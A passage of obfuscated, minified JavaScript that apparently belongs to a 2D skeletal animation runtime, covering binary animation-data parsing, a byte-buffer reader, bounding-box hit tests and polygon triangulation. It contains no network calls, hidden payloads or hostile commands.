_0x45d2d3), 0x1)); break; case _0x417143: _0x4ef33d['push'](_0x3677e9(_0x6ad8cb, new _0x4c274b(_0x2c7145, _0x33d7ee, _0x45d2d3), 0x1)); break; case _0x8ebe9f: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x574826(_0x2c7145, _0x33d7ee, _0x45d2d3), 0x1)); break; case _0x4fb8e1: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x3d4ca(_0x2c7145, _0x33d7ee, _0x45d2d3), 0x1)); } } } for (let _0x43e31f = 0x0, _0x3b63a5 = _0x6ad8cb['readInt'](!0x0); _0x43e31f < _0x3b63a5; _0x43e31f++) { let _0x2b816d = _0x6ad8cb['readInt'](!0x0), _0xcefc98 = _0x6ad8cb['readInt'](!0x0), _0x2c2311 = _0xcefc98 - 0x1, _0x2e68a3 = new _0x5cbe25(_0xcefc98, _0x6ad8cb['readInt'](!0x0), _0x2b816d), _0x3f0cba = _0x6ad8cb['readFloat'](), _0xe3120f = _0x6ad8cb['readFloat'](), _0x5ca334 = _0x6ad8cb['readFloat']() * _0x562223; for (let _0x2dd015 = 0x0, _0x505840 = 0x0; _0x2e68a3['setFrame'](_0x2dd015, _0x3f0cba, _0xe3120f, _0x5ca334, _0x6ad8cb['readByte'](), _0x6ad8cb['readBoolean'](), _0x6ad8cb['readBoolean']()), _0x2dd015 != _0x2c2311; _0x2dd015++) { let _0x489bba = _0x6ad8cb['readFloat'](), _0x24ee0d = _0x6ad8cb['readFloat'](), _0x3d8874 = _0x6ad8cb['readFloat']() * _0x562223; switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0x2e68a3['setStepped'](_0x2dd015); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0x2e68a3, _0x505840++, _0x2dd015, 0x0, _0x3f0cba, _0x489bba, _0xe3120f, _0x24ee0d, 0x1), _0xe5d54b(_0x6ad8cb, _0x2e68a3, _0x505840++, _0x2dd015, 0x1, _0x3f0cba, _0x489bba, _0x5ca334, _0x3d8874, _0x562223); }_0x3f0cba = _0x489bba, _0xe3120f = _0x24ee0d, _0x5ca334 = _0x3d8874; } _0x4ef33d['push'](_0x2e68a3); } for (let _0x35f061 = 0x0, _0xa6f7b9 = _0x6ad8cb['readInt'](!0x0); _0x35f061 < _0xa6f7b9; _0x35f061++) { let _0x266375 = _0x6ad8cb['readInt'](!0x0), _0x27a330 = _0x6ad8cb['readInt'](!0x0), _0x157c8c = _0x27a330 - 0x1, _0x23934d = new _0x47d708(_0x27a330, _0x6ad8cb['readInt'](!0x0), _0x266375), _0x108f73 = _0x6ad8cb['readFloat'](), _0x44da4e = _0x6ad8cb['readFloat'](), _0x5a2678 = _0x6ad8cb['readFloat'](), _0x18372b = _0x6ad8cb['readFloat'](), _0x1bd734 = _0x6ad8cb['readFloat'](), _0x345947 = _0x6ad8cb['readFloat'](), _0x5dfb38 = _0x6ad8cb['readFloat'](); for (let _0x3738d9 = 0x0, _0x5afcfd = 0x0; _0x23934d['setFrame'](_0x3738d9, _0x108f73, _0x44da4e, _0x5a2678, _0x18372b, _0x1bd734, _0x345947, _0x5dfb38), _0x3738d9 != _0x157c8c; _0x3738d9++) { let _0xd47156 = _0x6ad8cb['readFloat'](), _0x31b7a3 = _0x6ad8cb['readFloat'](), _0x33e414 = _0x6ad8cb['readFloat'](), _0x2b776b = _0x6ad8cb['readFloat'](), _0x444a79 = _0x6ad8cb['readFloat'](), _0x3f9a21 = _0x6ad8cb['readFloat'](), _0x4c061b = _0x6ad8cb['readFloat'](); switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0x23934d['setStepped'](_0x3738d9); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0x23934d, _0x5afcfd++, _0x3738d9, 0x0, _0x108f73, _0xd47156, _0x44da4e, _0x31b7a3, 0x1), _0xe5d54b(_0x6ad8cb, _0x23934d, _0x5afcfd++, _0x3738d9, 0x1, _0x108f73, _0xd47156, _0x5a2678, _0x33e414, 0x1), _0xe5d54b(_0x6ad8cb, _0x23934d, _0x5afcfd++, _0x3738d9, 0x2, _0x108f73, _0xd47156, _0x18372b, _0x2b776b, 0x1), _0xe5d54b(_0x6ad8cb, _0x23934d, _0x5afcfd++, _0x3738d9, 0x3, _0x108f73, _0xd47156, _0x1bd734, _0x444a79, 0x1), _0xe5d54b(_0x6ad8cb, _0x23934d, _0x5afcfd++, _0x3738d9, 0x4, _0x108f73, _0xd47156, _0x345947, _0x3f9a21, 0x1), _0xe5d54b(_0x6ad8cb, _0x23934d, _0x5afcfd++, _0x3738d9, 0x5, _0x108f73, _0xd47156, _0x5dfb38, _0x4c061b, 0x1); }_0x108f73 = _0xd47156, _0x44da4e = _0x31b7a3, _0x5a2678 = _0x33e414, _0x18372b = _0x2b776b, _0x1bd734 = _0x444a79, _0x345947 = _0x3f9a21, _0x5dfb38 = _0x4c061b; } _0x4ef33d['push'](_0x23934d); } for (let _0x8bd784 = 0x0, _0x33dbb6 = _0x6ad8cb['readInt'](!0x0); _0x8bd784 < _0x33dbb6; _0x8bd784++) { let _0x5f5a9f = _0x6ad8cb['readInt'](!0x0), _0x2e97c1 = _0x351d89['pathConstraints'][_0x5f5a9f]; for (let _0x4af484 = 0x0, _0x5b4a7e = _0x6ad8cb['readInt'](!0x0); _0x4af484 < _0x5b4a7e; _0x4af484++)switch (_0x6ad8cb['readByte']()) { case _0x196812: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x2ce15c(_0x6ad8cb['readInt'](!0x0), _0x6ad8cb['readInt'](!0x0), _0x5f5a9f), 0x0 == _0x2e97c1['positionMode'] ? _0x562223 : 0x1)); break; case _0x148842: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x416382(_0x6ad8cb['readInt'](!0x0), _0x6ad8cb['readInt'](!0x0), _0x5f5a9f), 0x0 == _0x2e97c1['spacingMode'] || 0x1 == _0x2e97c1['spacingMode'] ? _0x562223 : 0x1)); break; case _0x3875c7: let _0xbd7513 = new _0x51fe49(_0x6ad8cb['readInt'](!0x0), _0x6ad8cb['readInt'](!0x0), _0x5f5a9f), _0x16e7f8 = _0x6ad8cb['readFloat'](), _0x35fe67 = _0x6ad8cb['readFloat'](), _0x2ba1e3 = _0x6ad8cb['readFloat'](), _0x6bb9e7 = _0x6ad8cb['readFloat'](); for (let _0x8e3a89 = 0x0, _0x3f0ded = 0x0, _0x135635 = _0xbd7513['getFrameCount']() - 0x1; _0xbd7513['setFrame'](_0x8e3a89, _0x16e7f8, _0x35fe67, _0x2ba1e3, _0x6bb9e7), _0x8e3a89 != _0x135635; _0x8e3a89++) { let _0x407d56 = _0x6ad8cb['readFloat'](), _0x349d79 = _0x6ad8cb['readFloat'](), _0x38c63c = _0x6ad8cb['readFloat'](), _0x57cec4 = _0x6ad8cb['readFloat'](); switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0xbd7513['setStepped'](_0x8e3a89); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0xbd7513, _0x3f0ded++, _0x8e3a89, 0x0, _0x16e7f8, _0x407d56, _0x35fe67, _0x349d79, 0x1), _0xe5d54b(_0x6ad8cb, _0xbd7513, _0x3f0ded++, _0x8e3a89, 0x1, _0x16e7f8, _0x407d56, _0x2ba1e3, _0x38c63c, 0x1), _0xe5d54b(_0x6ad8cb, _0xbd7513, _0x3f0ded++, _0x8e3a89, 0x2, _0x16e7f8, _0x407d56, _0x6bb9e7, _0x57cec4, 0x1); }_0x16e7f8 = _0x407d56, _0x35fe67 = _0x349d79, _0x2ba1e3 = _0x38c63c, _0x6bb9e7 = _0x57cec4; } _0x4ef33d['push'](_0xbd7513); } } for (let _0x1f2ded = 0x0, _0x4f1648 = _0x6ad8cb['readInt'](!0x0); _0x1f2ded < _0x4f1648; _0x1f2ded++) { let _0xa2d442 = _0x351d89['skins'][_0x6ad8cb['readInt'](!0x0)]; for (let _0x4b1634 = 0x0, _0x456328 = _0x6ad8cb['readInt'](!0x0); _0x4b1634 < _0x456328; _0x4b1634++) { let _0x177b32 = _0x6ad8cb['readInt'](!0x0); for (let _0xad7598 = 0x0, _0x2b98f5 = _0x6ad8cb['readInt'](!0x0); _0xad7598 < _0x2b98f5; _0xad7598++) { let _0x59ef82 = _0x6ad8cb['readStringRef'](); if (!_0x59ef82) throw new Error('attachmentName\x20must\x20not\x20be\x20null.'); let _0x97ddae = _0xa2d442['getAttachment'](_0x177b32, _0x59ef82), _0x4d1896 = _0x6ad8cb['readByte'](), _0x1d7334 = _0x6ad8cb['readInt'](!0x0), _0xe1ecc4 = _0x1d7334 - 0x1; switch (_0x4d1896) { case _0xb29091: { let _0x4bc3c8 = _0x97ddae, _0x9ecb5e = _0x4bc3c8['bones'], _0x226527 = _0x4bc3c8['vertices'], _0x575235 = _0x9ecb5e ? _0x226527['length'] / 0x3 * 0x2 : _0x226527['length'], _0x296098 = _0x6ad8cb['readInt'](!0x0), _0x2d34b0 = new _0x92c76c(_0x1d7334, _0x296098, _0x177b32, _0x4bc3c8), _0x41b3a0 = _0x6ad8cb['readFloat'](); for (let _0x2410de = 0x0, _0xb4af05 = 0x0; ; _0x2410de++) { let _0x29175c, _0x589646 = _0x6ad8cb['readInt'](!0x0); if (0x0 == _0x589646) _0x29175c = _0x9ecb5e ? _0x5bda80['newFloatArray'](_0x575235) : _0x226527; else { _0x29175c = _0x5bda80['newFloatArray'](_0x575235); let _0x3dd6ea = _0x6ad8cb['readInt'](!0x0); if (_0x589646 += _0x3dd6ea, 0x1 == _0x562223) { for (let _0x4763ee = _0x3dd6ea; _0x4763ee < _0x589646; _0x4763ee++)_0x29175c[_0x4763ee] = _0x6ad8cb['readFloat'](); } else { for (let _0xfa8b64 = _0x3dd6ea; _0xfa8b64 < _0x589646; _0xfa8b64++)_0x29175c[_0xfa8b64] = _0x6ad8cb['readFloat']() * _0x562223; } if (!_0x9ecb5e) { for (let _0x286c41 = 0x0, _0x2061cf = _0x29175c['length']; _0x286c41 < _0x2061cf; _0x286c41++)_0x29175c[_0x286c41] += _0x226527[_0x286c41]; } } if (_0x2d34b0['setFrame'](_0x2410de, _0x41b3a0, _0x29175c), _0x2410de == _0xe1ecc4) break; let _0x3d8254 = _0x6ad8cb['readFloat'](); switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0x2d34b0['setStepped'](_0x2410de); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0x2d34b0, _0xb4af05++, _0x2410de, 0x0, _0x41b3a0, _0x3d8254, 0x0, 0x1, 0x1); }_0x41b3a0 = _0x3d8254; } _0x4ef33d['push'](_0x2d34b0); break; } case _0x33a639: { let _0x38d303 = new _0x247f55(_0x1d7334, _0x177b32, _0x97ddae); for (let _0xeb2cae = 0x0; _0xeb2cae < _0x1d7334; _0xeb2cae++) { let _0xeb708 = _0x6ad8cb['readFloat'](), _0x567f4b = _0x6ad8cb['readInt32'](); _0x38d303['setFrame'](_0xeb2cae, _0xeb708, _0x179b03[0xf & _0x567f4b], _0x567f4b >> 0x4, _0x6ad8cb['readFloat']()); } _0x4ef33d['push'](_0x38d303); break; } } } } } let _0x5cb0d6 = _0x6ad8cb['readInt'](!0x0); if (_0x5cb0d6 > 0x0) { let _0x235ea8 = new _0x19ad43(_0x5cb0d6), _0x1d33c2 = _0x351d89['slots']['length']; for (let _0x1b31f7 = 0x0; _0x1b31f7 < _0x5cb0d6; _0x1b31f7++) { let _0x383d1e = _0x6ad8cb['readFloat'](), _0x11b64f = _0x6ad8cb['readInt'](!0x0), _0x55b790 = _0x5bda80['newArray'](_0x1d33c2, 0x0); for (let _0xd42285 = _0x1d33c2 - 0x1; _0xd42285 >= 0x0; _0xd42285--)_0x55b790[_0xd42285] = -0x1; let _0x2db923 = _0x5bda80['newArray'](_0x1d33c2 - _0x11b64f, 0x0), _0x484540 = 0x0, _0x576102 = 0x0; for (let _0x38704e = 0x0; _0x38704e < _0x11b64f; _0x38704e++) { let _0x31ef82 = _0x6ad8cb['readInt'](!0x0); for (; _0x484540 != _0x31ef82;)_0x2db923[_0x576102++] = _0x484540++; _0x55b790[_0x484540 + _0x6ad8cb['readInt'](!0x0)] = _0x484540++; } for (; _0x484540 < _0x1d33c2;)_0x2db923[_0x576102++] = _0x484540++; for (let _0x31d75d = _0x1d33c2 - 0x1; _0x31d75d >= 0x0; _0x31d75d--)-0x1 == _0x55b790[_0x31d75d] && (_0x55b790[_0x31d75d] = _0x2db923[--_0x576102]); _0x235ea8['setFrame'](_0x1b31f7, _0x383d1e, _0x55b790); } _0x4ef33d['push'](_0x235ea8); } let _0x404b21 = _0x6ad8cb['readInt'](!0x0); if (_0x404b21 > 0x0) { let _0x4e8352 = new _0x10fcbe(_0x404b21); for (let _0x1490d0 = 0x0; _0x1490d0 < _0x404b21; _0x1490d0++) { let _0xaa53b5 = _0x6ad8cb['readFloat'](), _0x4cbf98 = _0x351d89['events'][_0x6ad8cb['readInt'](!0x0)], _0x3686f4 = new _0x49644a(_0xaa53b5, _0x4cbf98); _0x3686f4['intValue'] = _0x6ad8cb['readInt'](!0x1), _0x3686f4['floatValue'] = _0x6ad8cb['readFloat'](), _0x3686f4['stringValue'] = _0x6ad8cb['readBoolean']() ? _0x6ad8cb['readString']() : _0x4cbf98['stringValue'], _0x3686f4['data']['audioPath'] && (_0x3686f4['volume'] = _0x6ad8cb['readFloat'](), _0x3686f4['balance'] = _0x6ad8cb['readFloat']()), _0x4e8352['setFrame'](_0x1490d0, _0x3686f4); } _0x4ef33d['push'](_0x4e8352); } let _0x4e30d8 = 0x0; for (let _0x3cdd71 = 0x0, _0x5efe89 = _0x4ef33d['length']; _0x3cdd71 < _0x5efe89; _0x3cdd71++)_0x4e30d8 = Math['max'](_0x4e30d8, _0x4ef33d[_0x3cdd71]['getDuration']()); return new _0x3de812(_0xd772e4, _0x4ef33d, _0x4e30d8); } }, _0xfc5ff5 = class { constructor(_0x1df43e, _0x3001fd = new Array(), _0x32d8f7 = 0x0, _0x11f878 = new DataView(_0x1df43e['buffer'])) { this['strings'] = _0x3001fd, this['index'] = _0x32d8f7, this['buffer'] = _0x11f878; } ['readByte']() { return this['buffer']['getInt8'](this['index']++); } ['readUnsignedByte']() { return this['buffer']['getUint8'](this['index']++); } ['readShort']() { let _0x76dec = this['buffer']['getInt16'](this['index']); return this['index'] += 0x2, _0x76dec; } ['readInt32']() { let _0x3b979d = this['buffer']['getInt32'](this['index']); return this['index'] += 0x4, _0x3b979d; } ['readInt'](_0x440587) { let _0x55f911 = this['readByte'](), _0x266396 = 0x7f & _0x55f911; return 0x0 != (0x80 & _0x55f911) && (_0x55f911 = this['readByte'](), _0x266396 |= (0x7f & _0x55f911) << 0x7, 0x0 != (0x80 & _0x55f911) && (_0x55f911 = this['readByte'](), _0x266396 |= (0x7f & _0x55f911) << 0xe, 0x0 != (0x80 & _0x55f911) && (_0x55f911 = this['readByte'](), _0x266396 |= (0x7f & _0x55f911) << 0x15, 0x0 != (0x80 & _0x55f911) && (_0x55f911 = this['readByte'](), _0x266396 |= (0x7f & _0x55f911) << 0x1c)))), _0x440587 ? _0x266396 : _0x266396 >>> 0x1 ^ -(0x1 & _0x266396); } ['readStringRef']() { let _0x34e204 = this['readInt'](!0x0); return 0x0 == _0x34e204 ? null : this['strings'][_0x34e204 - 0x1]; } ['readString']() { let _0x4a5701 = this['readInt'](!0x0); switch (_0x4a5701) { case 0x0: return null; case 0x1: return ''; }_0x4a5701--; let _0x2952b3 = ''; for (let _0xf8753f = 0x0; _0xf8753f < _0x4a5701;) { let _0x106c9b = this['readUnsignedByte'](); switch (_0x106c9b >> 0x4) { case 0xc: case 0xd: _0x2952b3 += String['fromCharCode']((0x1f & _0x106c9b) << 0x6 | 0x3f & this['readByte']()), _0xf8753f += 0x2; break; case 0xe: _0x2952b3 += String['fromCharCode']((0xf & _0x106c9b) << 0xc | (0x3f & this['readByte']()) << 0x6 | 0x3f & this['readByte']()), _0xf8753f += 0x3; break; default: _0x2952b3 += String['fromCharCode'](_0x106c9b), _0xf8753f++; } } return _0x2952b3; } ['readFloat']() { let _0x5c0925 = this['buffer']['getFloat32'](this['index']); return this['index'] += 0x4, _0x5c0925; } ['readBoolean']() { return 0x0 != this['readByte'](); } }, _0x10dbf6 = class { constructor(_0x5a735d, _0x1adc5b, _0x36d3d4, _0x3aa6bd, _0x4d553f) { this['mesh'] = _0x5a735d, this['skin'] = _0x1adc5b, this['slotIndex'] = _0x36d3d4, this['parent'] = _0x3aa6bd, this['inheritTimeline'] = _0x4d553f; } }, _0x33f2d5 = class { constructor(_0x2aa1a9 = null, _0x2f922a = null) { this['bones'] = _0x2aa1a9, this['vertices'] = _0x2f922a; } }, _0x1da252 = (_0x533953 => (_0x533953[_0x533953['Region'] = 0x0] = 'Region', _0x533953[_0x533953['BoundingBox'] = 0x1] = 'BoundingBox', _0x533953[_0x533953['Mesh'] = 0x2] = 'Mesh', _0x533953[_0x533953['LinkedMesh'] = 0x3] = 'LinkedMesh', _0x533953[_0x533953['Path'] = 0x4] = 'Path', _0x533953[_0x533953['Point'] = 0x5] = 'Point', _0x533953[_0x533953['Clipping'] = 0x6] = 'Clipping', _0x533953))(_0x1da252 || {}); function _0x4e736f(_0x1663f5, _0x17f2fd, _0x3229e0) { let _0x1f4372 = _0x1663f5['readFloat'](), _0x1b5581 = _0x1663f5['readFloat']() * _0x3229e0; for (let _0x1e6d7b = 0x0, _0xad8a2c = 0x0, _0x3583c6 = _0x17f2fd['getFrameCount']() - 0x1; _0x17f2fd['setFrame'](_0x1e6d7b, _0x1f4372, _0x1b5581), _0x1e6d7b != _0x3583c6; _0x1e6d7b++) { let _0x239875 = _0x1663f5['readFloat'](), _0x389641 = _0x1663f5['readFloat']() * _0x3229e0; switch (_0x1663f5['readByte']()) { case _0x24695a: _0x17f2fd['setStepped'](_0x1e6d7b); break; case _0x154632: _0xe5d54b(_0x1663f5, _0x17f2fd, _0xad8a2c++, _0x1e6d7b, 0x0, _0x1f4372, _0x239875, _0x1b5581, _0x389641, _0x3229e0); }_0x1f4372 = _0x239875, _0x1b5581 = _0x389641; } return _0x17f2fd; } function _0x3677e9(_0x224187, _0x32060d, _0x14cff5) { let _0x398b14 = _0x224187['readFloat'](), _0x2de85c = _0x224187['readFloat']() * _0x14cff5, _0x2aab94 = _0x224187['readFloat']() * _0x14cff5; for (let _0x32292c = 0x0, _0x1de64e = 0x0, _0x9892e = _0x32060d['getFrameCount']() - 0x1; _0x32060d['setFrame'](_0x32292c, _0x398b14, _0x2de85c, _0x2aab94), _0x32292c != _0x9892e; _0x32292c++) { let _0xbd5e6d = _0x224187['readFloat'](), _0x4c33e0 = _0x224187['readFloat']() * _0x14cff5, _0x550e22 = _0x224187['readFloat']() * _0x14cff5; switch (_0x224187['readByte']()) { case _0x24695a: _0x32060d['setStepped'](_0x32292c); break; case _0x154632: _0xe5d54b(_0x224187, _0x32060d, _0x1de64e++, _0x32292c, 0x0, _0x398b14, _0xbd5e6d, _0x2de85c, _0x4c33e0, _0x14cff5), _0xe5d54b(_0x224187, _0x32060d, _0x1de64e++, _0x32292c, 0x1, _0x398b14, _0xbd5e6d, _0x2aab94, _0x550e22, _0x14cff5); }_0x398b14 = _0xbd5e6d, _0x2de85c = _0x4c33e0, _0x2aab94 = _0x550e22; } return _0x32060d; } function _0xe5d54b(_0x2eb24b, _0x416313, _0x4191c7, _0x28a195, _0x120b24, _0x2681d7, _0x58e8a8, _0x3e3088, _0x269a9c, _0x266e6d) { _0x416313['setBezier'](_0x4191c7, _0x28a195, _0x120b24, _0x2681d7, _0x3e3088, _0x2eb24b['readFloat'](), _0x2eb24b['readFloat']() * _0x266e6d, _0x2eb24b['readFloat'](), _0x2eb24b['readFloat']() * _0x266e6d, _0x58e8a8, _0x269a9c); } var _0x1115aa, _0xb2e30d = 0x0, _0x78764c = 0x1, _0x3afb80 = 0x2, _0x306ced = 0x3, _0xd4c9fc = 0x4, _0x55867d = 0x5, _0x4a56a0 = 0x6, _0x417143 = 0x7, _0x8ebe9f = 0x8, _0x4fb8e1 = 0x9, _0xbd8676 = 0x0, _0x3af1ea = 0x1, _0x154372 = 0x2, _0x58a27a = 0x3, _0x4c27fe = 0x4, _0x1bded7 = 0x5, _0xb29091 = 0x0, _0x33a639 = 0x1, _0x196812 = 0x0, _0x148842 = 0x1, _0x3875c7 = 0x2, _0x24695a = 0x1, _0x154632 = 0x2, _0x313c2f = class { constructor() { this['minX'] = 0x0, this['minY'] = 0x0, this['maxX'] = 0x0, this['maxY'] = 0x0, this['boundingBoxes'] = new Array(), this['polygons'] = new Array(), this['polygonPool'] = new _0x539389(() => _0x5bda80['newFloatArray'](0x10)); } ['update'](_0x5bfba5, _0x4f70a8) { if (!_0x5bfba5) throw new Error('skeleton\x20cannot\x20be\x20null.'); let _0x3bc230 = this['boundingBoxes'], _0x3b4ff3 = this['polygons'], _0x39b40e = this['polygonPool'], _0x6e91ba = _0x5bfba5['slots'], _0xc33cd5 = _0x6e91ba['length']; _0x3bc230['length'] = 0x0, _0x39b40e['freeAll'](_0x3b4ff3), _0x3b4ff3['length'] = 0x0; for (let _0x4da4ee = 0x0; _0x4da4ee < _0xc33cd5; _0x4da4ee++) { let _0x126669 = _0x6e91ba[_0x4da4ee]; if (!_0x126669['bone']['active']) continue; let _0x482a0b = _0x126669['getAttachment'](); if (_0x482a0b instanceof _0xe9c142) { let _0x425253 = _0x482a0b; _0x3bc230['push'](_0x425253); let _0x1a766f = _0x39b40e['obtain'](); _0x1a766f['length'] != _0x425253['worldVerticesLength'] && (_0x1a766f = _0x5bda80['newFloatArray'](_0x425253['worldVerticesLength'])), _0x3b4ff3['push'](_0x1a766f), _0x425253['computeWorldVertices'](_0x126669, 0x0, _0x425253['worldVerticesLength'], _0x1a766f, 0x0, 0x2); } } _0x4f70a8 ? this['aabbCompute']() : (this['minX'] = Number['POSITIVE_INFINITY'], this['minY'] = Number['POSITIVE_INFINITY'], this['maxX'] = Number['NEGATIVE_INFINITY'], this['maxY'] = Number['NEGATIVE_INFINITY']); } ['aabbCompute']() { let _0x1b8f25 = Number['POSITIVE_INFINITY'], _0x13df88 = Number['POSITIVE_INFINITY'], _0x58f52b = Number['NEGATIVE_INFINITY'], _0x16c4cd = Number['NEGATIVE_INFINITY'], _0x11a275 = this['polygons']; for (let _0x4dbfe7 = 0x0, _0x3c5b10 = _0x11a275['length']; _0x4dbfe7 < _0x3c5b10; _0x4dbfe7++) { let _0x4b4085 = _0x11a275[_0x4dbfe7], _0x5d69ab = _0x4b4085; for (let _0x241d71 = 0x0, _0x2135ed = _0x4b4085['length']; _0x241d71 < _0x2135ed; _0x241d71 += 0x2) { let _0x33adfb = _0x5d69ab[_0x241d71], _0x17de4c = _0x5d69ab[_0x241d71 + 0x1]; _0x1b8f25 = Math['min'](_0x1b8f25, _0x33adfb), _0x13df88 = Math['min'](_0x13df88, _0x17de4c), _0x58f52b = Math['max'](_0x58f52b, _0x33adfb), _0x16c4cd = Math['max'](_0x16c4cd, _0x17de4c); } } this['minX'] = _0x1b8f25, this['minY'] = _0x13df88, this['maxX'] = _0x58f52b, this['maxY'] = _0x16c4cd; } ['aabbContainsPoint'](_0x2cc168, _0x22d9c7) { return _0x2cc168 >= this['minX'] && _0x2cc168 <= this['maxX'] && _0x22d9c7 >= this['minY'] && _0x22d9c7 <= this['maxY']; } ['aabbIntersectsSegment'](_0x4c1648, _0x3f36c7, _0x15d250, _0x35f7ce) { let _0x28fa40 = this['minX'], _0x4b7254 = this['minY'], _0x208ca5 = this['maxX'], _0x338a20 = this['maxY']; if (_0x4c1648 <= _0x28fa40 && _0x15d250 <= _0x28fa40 || _0x3f36c7 <= _0x4b7254 && _0x35f7ce <= _0x4b7254 || _0x4c1648 >= _0x208ca5 && _0x15d250 >= _0x208ca5 || _0x3f36c7 >= _0x338a20 && _0x35f7ce >= _0x338a20) return !0x1; let _0x4e52d7 = (_0x35f7ce - _0x3f36c7) / (_0x15d250 - _0x4c1648), _0xfcc27a = _0x4e52d7 * (_0x28fa40 - _0x4c1648) + _0x3f36c7; if (_0xfcc27a > _0x4b7254 && _0xfcc27a < _0x338a20) return !0x0; if (_0xfcc27a = _0x4e52d7 * (_0x208ca5 - _0x4c1648) + _0x3f36c7, _0xfcc27a > _0x4b7254 && _0xfcc27a < _0x338a20) return !0x0; let _0x3acdcd = (_0x4b7254 - _0x3f36c7) / _0x4e52d7 + _0x4c1648; return _0x3acdcd > _0x28fa40 && _0x3acdcd < _0x208ca5 || (_0x3acdcd = (_0x338a20 - _0x3f36c7) / _0x4e52d7 + _0x4c1648, _0x3acdcd > _0x28fa40 && _0x3acdcd < _0x208ca5); } ['aabbIntersectsSkeleton'](_0x28b004) { return this['minX'] < _0x28b004['maxX'] && this['maxX'] > _0x28b004['minX'] && this['minY'] < _0x28b004['maxY'] && this['maxY'] > _0x28b004['minY']; } ['containsPoint'](_0x4966cc, _0x5566f5) { let _0x51aa64 = this['polygons']; for (let _0x43be21 = 0x0, _0x262254 = _0x51aa64['length']; _0x43be21 < _0x262254; _0x43be21++)if (this['containsPointPolygon'](_0x51aa64[_0x43be21], _0x4966cc, _0x5566f5)) return this['boundingBoxes'][_0x43be21]; return null; } ['containsPointPolygon'](_0x5a2b12, _0x5171b8, _0x1201d5) { let _0x3f715c = _0x5a2b12, _0x4a8137 = _0x5a2b12['length'], _0x5992e1 = _0x4a8137 - 0x2, _0xb04183 = !0x1; for (let _0x316291 = 0x0; _0x316291 < _0x4a8137; _0x316291 += 0x2) { let _0x5092dd = _0x3f715c[_0x316291 + 0x1], _0x3c1cbd = _0x3f715c[_0x5992e1 + 0x1]; if (_0x5092dd < _0x1201d5 && _0x3c1cbd >= _0x1201d5 || _0x3c1cbd < _0x1201d5 && _0x5092dd >= _0x1201d5) { let _0x380de5 = _0x3f715c[_0x316291]; _0x380de5 + (_0x1201d5 - _0x5092dd) / (_0x3c1cbd - _0x5092dd) * (_0x3f715c[_0x5992e1] - _0x380de5) < _0x5171b8 && (_0xb04183 = !_0xb04183); } _0x5992e1 = _0x316291; } return _0xb04183; } ['intersectsSegment'](_0x52550d, _0x5cbcf4, _0x4a5188, _0x3eb485) { let _0x503cc9 = this['polygons']; for (let _0x44236a = 0x0, _0x2385a0 = _0x503cc9['length']; _0x44236a < _0x2385a0; _0x44236a++)if (this['intersectsSegmentPolygon'](_0x503cc9[_0x44236a], _0x52550d, _0x5cbcf4, _0x4a5188, _0x3eb485)) return this['boundingBoxes'][_0x44236a]; return null; } ['intersectsSegmentPolygon'](_0x239446, _0x1b650a, _0x20f87b, _0xd051bf, _0x38a74b) { let _0x2b8774 = _0x239446, _0x384a68 = _0x239446['length'], _0x295126 = _0x1b650a - _0xd051bf, _0x2bec32 = _0x20f87b - _0x38a74b, _0x4b014b = _0x1b650a * _0x38a74b - _0x20f87b * _0xd051bf, _0x3eb4b0 = _0x2b8774[_0x384a68 - 0x2], _0x3737d0 = _0x2b8774[_0x384a68 - 0x1]; for (let _0x14a485 = 0x0; _0x14a485 < _0x384a68; _0x14a485 += 0x2) { let _0x3ecd7e = _0x2b8774[_0x14a485], _0x4b0b15 = _0x2b8774[_0x14a485 + 0x1], _0xb58dbf = _0x3eb4b0 * _0x4b0b15 - _0x3737d0 * _0x3ecd7e, _0x4d6059 = _0x3eb4b0 - _0x3ecd7e, _0x146826 = _0x3737d0 - _0x4b0b15, _0x387c98 = _0x295126 * _0x146826 - _0x2bec32 * _0x4d6059, _0x40a890 = (_0x4b014b * _0x4d6059 - _0x295126 * _0xb58dbf) / _0x387c98; if ((_0x40a890 >= _0x3eb4b0 && _0x40a890 <= _0x3ecd7e || _0x40a890 >= _0x3ecd7e && _0x40a890 <= _0x3eb4b0) && (_0x40a890 >= _0x1b650a && _0x40a890 <= _0xd051bf || _0x40a890 >= _0xd051bf && _0x40a890 <= _0x1b650a)) { let _0x1d6c83 = (_0x4b014b * _0x146826 - _0x2bec32 * _0xb58dbf) / _0x387c98; if ((_0x1d6c83 >= _0x3737d0 && _0x1d6c83 <= _0x4b0b15 || _0x1d6c83 >= _0x4b0b15 && _0x1d6c83 <= _0x3737d0) && (_0x1d6c83 >= _0x20f87b && _0x1d6c83 <= _0x38a74b || _0x1d6c83 >= _0x38a74b && _0x1d6c83 <= _0x20f87b)) return !0x0; } _0x3eb4b0 = _0x3ecd7e, _0x3737d0 = _0x4b0b15; } return !0x1; } ['getPolygon'](_0x459a29) { if (!_0x459a29) throw new Error('boundingBox\x20cannot\x20be\x20null.'); let _0x5504cb = this['boundingBoxes']['indexOf'](_0x459a29); return -0x1 == _0x5504cb ? null : this['polygons'][_0x5504cb]; } ['getWidth']() { return this['maxX'] - this['minX']; } ['getHeight']() { return this['maxY'] - this['minY']; } }, _0x570c49 = class { constructor() { this['convexPolygons'] = new Array(), this['convexPolygonsIndices'] = new Array(), this['indicesArray'] = new Array(), this['isConcaveArray'] = new Array(), this['triangles'] = new Array(), this['polygonPool'] = new _0x539389(() => new Array()), this['polygonIndicesPool'] = new _0x539389(() => new Array()); } ['triangulate'](_0x1ea52c) { let _0x13ec37 = _0x1ea52c, _0x4fd856 = _0x1ea52c['length'] >> 0x1, _0x2cdf17 = this['indicesArray']; _0x2cdf17['length'] = 0x0; for (let _0x246471 = 0x0; _0x246471 < _0x4fd856; _0x246471++)_0x2cdf17[_0x246471] = _0x246471; let _0x2d7502 = this['isConcaveArray']; _0x2d7502['length'] = 0x0; for (let _0xec02af = 0x0, _0x1637e3 = _0x4fd856; _0xec02af < _0x1637e3; ++_0xec02af)_0x2d7502[_0xec02af] = _0x570c49['isConcave'](_0xec02af, _0x4fd856, _0x13ec37, _0x2cdf17); let _0x472c28 = this['triangles']; for 